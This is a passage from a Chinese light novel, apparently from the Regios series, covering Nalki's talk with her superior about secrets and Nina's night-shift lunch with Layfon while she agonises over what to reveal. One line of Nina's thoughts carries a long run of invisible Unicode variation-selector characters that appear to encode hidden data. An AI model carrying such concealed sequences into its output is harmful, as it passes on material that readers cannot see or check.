娜爾姬得意洋洋的說道,卻還是被對方輕易擋了回來。

現在的辦公室內除了娜爾姬與佛梅德外,沒有半個人在。這裡雖然還有幾個人留守,但他們都去休息室那邊了。

「……硬要把不能對別人說的祕密挖出來,是一件不好的行為嗎?」

娜爾姬替佛梅德泡了一杯茶,並且把它放在桌面。在鍵盤上飛舞的指頭停止動作,上司抬起頭望向了娜爾姬。

「無論如何都想知道祕密的想法很任性嗎?」

看到妮娜什麼也不說,雷馮、夏尼德、菲麗跟哈雷最後還是讓了步。一直到最後還是感到不滿的人,只有妲爾潔娜與娜爾姬而已吧。

特別是夏尼德與哈雷兩人,在妮娜表示自己不能說出真相時,看起來就已經讓步了。

「如果身為警察……」

「咦?」

「身為警察的話,如果那個祕密是解開事件的關鍵情報,就算不擇手段也要把它問出來才行。祕密這種東西啊,不管對別人而言有多麼無聊,本人還是不想讓其他人知情。這就是困難的地方。」

「嗯……」

「不過所謂的祕密有兩種。一種是不想跟別人說的祕密,另一種是有所覺悟,就算死也不會說出口的祕密。如果是後者的話,就不是那麼簡單就能問出來的了。再說,祕密也有所謂的深度,就像洞穴一樣。從入口就能立刻看清深處的洞穴,也塞不下什麼東西吧,可是如果是無法輕易看穿的洞穴呢?」

「…………」

「想看清藏在深處的事物,就一定要走進洞穴才行。妳有平安無事從那個洞穴走出來的自信嗎?」

「這……」

「想從有覺悟死守祕密的人問出祕密,就要與那種覺悟交手才行,一切都操之在妳囉。」

「啊……」

該怎麼做呢?妮娜保守的祕密,應該跟廢貴族有關。一旦接觸了那個祕密,娜爾姬有辦法跟妮娜心中的真相一同戰鬥嗎?

「……哎,如果那是身為警察非知道不可的祕密,那我就跟妳一起承擔吧。」

「課長……」

「這就是所謂的組織。」

最後一句話雖然不是娜爾姬想聽的話,卻很有佛梅德的風格。

*

機輪部門的轟音支配著耳膜。

這是在深夜打掃機輪部門的工讀。自己有多久沒全身沉浸在這股聲音裡了?妮娜一邊沉浸在這種感慨之中,一邊移動著拖把。

身體立刻想起了使用拖把的動作,變成這樣後,就能無意識的重複這個動作。沒經過多少時間,思緒就遠離了眼前的地板與管線。

(那󠄊󠄀󠄃󠄎樣󠄊󠄀󠄃󠄎應󠄵󠄀󠄀󠄂該󠄫󠄠󠄻󠄔就󠄅󠄠󠄔󠄰行󠄓󠄨󠄴󠄎了󠄵󠄁󠄙󠄳吧󠄈󠄶󠄺󠄡。)⁠󠄔󠄴󠄙󠄋⁠󠄑󠄘󠄼󠄆⁠󠄒󠄇󠄻󠄇⁠󠄮󠄋󠄹󠄚⁠󠄍󠄊󠄥󠄼⁠󠄢󠄜󠄷󠄚⁠󠄤󠄁󠄼󠄴⁠󠄯󠄴󠄘󠄷⁠󠄸󠄔󠄅󠄗⁠󠄟󠄫󠄟󠄀⁠󠄨󠄦󠄐󠄇⁠󠄮󠄦󠄬󠄃⁠󠄷󠄱󠄈󠄅⁠󠄢󠄜󠄽󠄸⁠󠄡󠄃󠄋󠄕⁠󠄰󠄯󠄏󠄹⁠󠄩󠄷󠄃󠄏⁠󠄽󠄔󠄽󠄨⁠󠄤󠄦󠄪󠄾⁠󠄸󠄪󠄋󠄚⁠󠄅󠄃󠄢󠄞⁠󠄼󠄱󠄙󠄿⁠󠄿󠄱󠄦󠄆⁠󠄏󠄣󠄩󠄬⁠󠄂󠄚󠄜󠄙⁠󠄾󠄚󠄜󠄖⁠󠄁󠄊󠄝󠄊⁠󠄒󠄤󠄝󠄚⁠󠄂󠄣󠄈󠄃⁠󠄺󠄳󠄎󠄢⁠󠄕󠄡󠄔󠄳⁠󠄾󠄛󠄀󠄓⁠󠄯󠄶󠄋󠄝⁠󠄔󠄣󠄀󠄹⁠󠄔󠄞󠄞󠄾⁠󠄋󠄛󠄇󠄹⁠󠄉󠄕󠄺󠄃⁠󠄱󠄮󠄰󠄸

她想起在練武館發生的事。

光是想表達廢貴族的事,自己就費盡唇舌了……那種做法應該沒錯才對。

『把別人捲進來了!』

當時迪克塞利歐.馬斯肯……也就是迪克說過的話,始終殘留在腦海之中。那是一場與狼面眾之間的第一場戰鬥。自己被某種事物拉進那個世界,又因為那個理由而把雷馮召喚到了現場。

事實上,當時只要走錯一步,說不定連雷馮也會走進這個世界。

伊格納西斯。

妮娜被捲入了跟這名人物,這個名字有著某種關聯的戰爭。一直到現在為止,妮娜自己也不是很清楚這場戰爭的真面目。除了迪克以外,還有其他同伴存在嗎?這場戰爭的規模又有多大?她幾乎完全不知情。

但她明白敵人是誰。

伊格納西斯,還有狼面眾。

他們是戴著奇異野獸面具的集團,而且多數都是不具實體,脫離死亡的存在。他們一邊增加同伴數量,一邊在許多都市之間建構名為「緣」的移動網路,並且在每座都市上進行某種陰謀。

他們在麥亞斯進行的計畫是,建構與仙鶯都市修奈巴爾之間的緣。修奈巴爾擁有其他都市所沒有的利格扎力歐裝置,而且這種裝置可以產生電子精靈。狼面眾的目的就是利格扎力歐裝置。

不過妮娜之所以會在麥亞斯現身,是不是因為修奈巴爾是她的故鄉呢,這一點連她自己都不清楚。

可是也因為這樣,被廢貴族附身,又得潔爾妮之助勉強維持力量均衡的自己,才能成功的恢復正常。

據說,當時幫助妮娜的是電子精靈的原型,它是所有電子精靈的起源。

跟原型在一起的少女,叫做莉琳。

還有如同守護者般待在她身旁的人,名喚薩瓦利斯。

被狼面眾稱為天劍繼承者的男子。

認識雷馮的男子。

暗示會與雷馮戰鬥的男子。

(我可以說到哪裡呢?)

在麥亞斯遇見的莉琳,如果跟雷馮的青梅竹馬是同一人,自己就一定要告訴他這個好消息。對於自認為不會再回到古連丹的雷馮而言,知道能與她再度相逢,應該會非常高興。

可是那兩人前往潔爾妮的目的究竟是?

妮娜明白薩瓦利斯的目的,他與薩林邦教導傭兵團一樣,是為了廢貴族而前來的。

可是為何莉琳卻跟著一起?

她身上帶著原型……莉琳自己知道這件事嗎?

(我可以說到什麼程度?)

雷馮對於身為武藝家的事實一點也不自豪。把這樣的他,拉進更為嚴苛的戰鬥世界是否正確?

被拖進那場莫名其妙的戰鬥,連妮娜自己也覺得很不公平。

應該說到什麼程度才安全呢?

說到什麼程度會把他捲入那個世界?

只要不曉得分界線在哪,自己就無法說出在麥亞斯發生的事。

雖然感受到無法脫逃的災厄正漸漸接近,妮娜卻無法告知他人這個事實。

「學姊。」

呼喚聲讓妮娜回過了神。

是雷馮。

「發便當的時間過了喔。」

「……唔,慘了!」

時間在不知不覺中居然過得這麼久了。一旦錯過了晚上發便當的時間,就只能撿別人挑剩的東西。特別是受歡迎的三明治便當,如果不熟悉配送時間搶先一步,根本就拿不到。

「不介意的話,要不要吃我的便當?」

「不了,我會不好意思的。」

妮娜搖頭拒絕了雷馮的提議。身為武藝科小隊員的他不但每天都很忙碌,而且還要來機輪部門打工。餐點是重要的營養補給來源,絕對不能缺少,平分雷馮的便當更是沒得商量。

「今天我就忍耐一點挑剩下的來吃。」

「不,我不是這個意思。」

雷馮難以啟齒的抓了抓頭。

「我今天帶了自己做的便當,不過做太多了,學姊也能吃一些的話,我會很感激的。」

仔細一看,雷馮手上包著便當的布巾,就一個人吃的份量來說確實太大了。

「我之前好像有說過,我做菜時很不會控制分量。如果學姊能幫忙吃,我會很感激的。」

「是……是嗎?既然如此,我就誠心接受你的好意囉。」

「就請妳這樣做吧。」

妮娜在雷馮的催促下去洗手,雷馮則是利用這段時間占好要坐的位置,又把自己用水壺帶來的茶倒進了紙杯。

「那我開動了!」

「不用客氣,請慢用。」

布巾內放了兩個大便當盒。一個裝著炸肉塊淋醬汁,還有起司蔬菜三明治等菜色,另一個則塞滿了沙拉之類的數道配菜。

「還是一樣好吃呢。」

「是嗎?」

「嗯。」

妮娜一邊偷瞄雷馮笑呵呵的側臉,一邊吃著東西。

她無法與雷馮正面相對,脖子拒絕一定程度以上的動作,不讓她正面望向身旁的雷馮。

而且妮娜有事情隱瞞著他。

然而會長說過的話卻掠過了腦海。

會長說,雷馮把妮娜當成了戰鬥的目的。有一些事實讓妮娜覺得這種說法或許沒錯,而她也向學生會長表示,自己會接受這樣的雷馮。

簡直就像告白嘛!

(我幹嘛說那種傻話啊!)

那是妮娜衝口說出的話,但就是因為一時衝動,所以說話時也完全表露自己的心意。

自己也沒有確實意識到的部分,已經成形了嗎?

(我……)

喜歡雷馮?

否定這個想法的要素並不存在。

「雷馮,我……」

「不用現在講啦。」

雷馮制止了說出口的話。

「我相信,總有一天妳會告訴我真相,而且我站在學姊這一邊。」

脖子受到壓抑的肌肉得到解放,妮娜面對面的望向了雷馮。

雷馮正在笑著:

「傭兵團那些傢伙如果敢襲擊學姊,我就會盡全力保護學姊。等學姊想說的時候再說就行了,我並不討厭替學姊做事喔。」

「啊啊……」

事情並非如此。

有一個要素可以否定剛才的想法。

(我想站在你的身旁。)

自己來到學園都市的目的,並不是為了單方面接受保護。

身為武藝家的自己得到雷馮認可的那一天,或許就會想說出那些話吧。

「到時候就麻煩你囉。」

妮娜回了一個笑臉後,再次吃起東西。

「從明天起要開始忙了。對了,有一些人跑來跟我說,希望你陪他們訓練喔。」

「是這樣嗎?」

「經過了之前的戰鬥,整個武藝科都知道你的實力了。」

是的,她想站在雷馮的身旁。

有這種想法卻又不想說出口的自己能得到接納,讓妮娜無法隱藏心中的喜悅。

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